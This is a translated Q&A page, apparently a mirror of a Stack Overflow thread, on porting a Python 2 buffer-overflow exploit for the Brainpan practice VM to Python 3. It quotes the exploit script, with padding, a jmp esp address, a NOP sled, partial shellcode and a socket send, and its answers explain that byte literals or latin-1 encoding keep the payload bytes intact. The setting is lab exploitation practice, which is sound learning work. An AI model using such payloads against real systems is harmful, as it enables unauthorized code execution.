繁体   English   中英

使用 python 3 作为缓冲区溢出而不是 Python 2

[英]Using python 3 as a buffer overflow instead of Python 2

我正在尝试使用 python3 而不是 Python 2 将缓冲区溢出推送到 Brainpan。 问题是python3以不同的方式转换字节。 有谁知道如何以python3格式以简单的方式推送字节?

可以在以下位置找到 python2 代码的示例代码: http : //blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1

取自页面:

import sys,socket

eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}

payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)

print s.recv(1024)
s.send(payload)
print s.recv(1024)

我试过s.send(payload.encode())各种编码。 据我所知,没有任何效果。

尝试使用字节文字,例如

eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"

并完全绕过编码的需要。

我有同样的错误,但另外发现\\x7F之后的任何字符在坏字符测试后\\x7F被破坏了; Python 3 似乎在每个字符之前插入随机\\xC2\\xC3 有效的是在整个过程中使用字节文字或.encode('latin-1') 有反馈认为 latin-1 编码并不总是有效,请参见此处,但我没有遇到字节文字问题。

编辑:您可能会发现这些也很有用。 两者都对 Python 3 使用 Latin-1 编码。 http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/Buffer_Overflow.pdf https://blog.lab26.net/vulnerable- vm-walkthrough-brainpan-1-binary-exploitation/

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM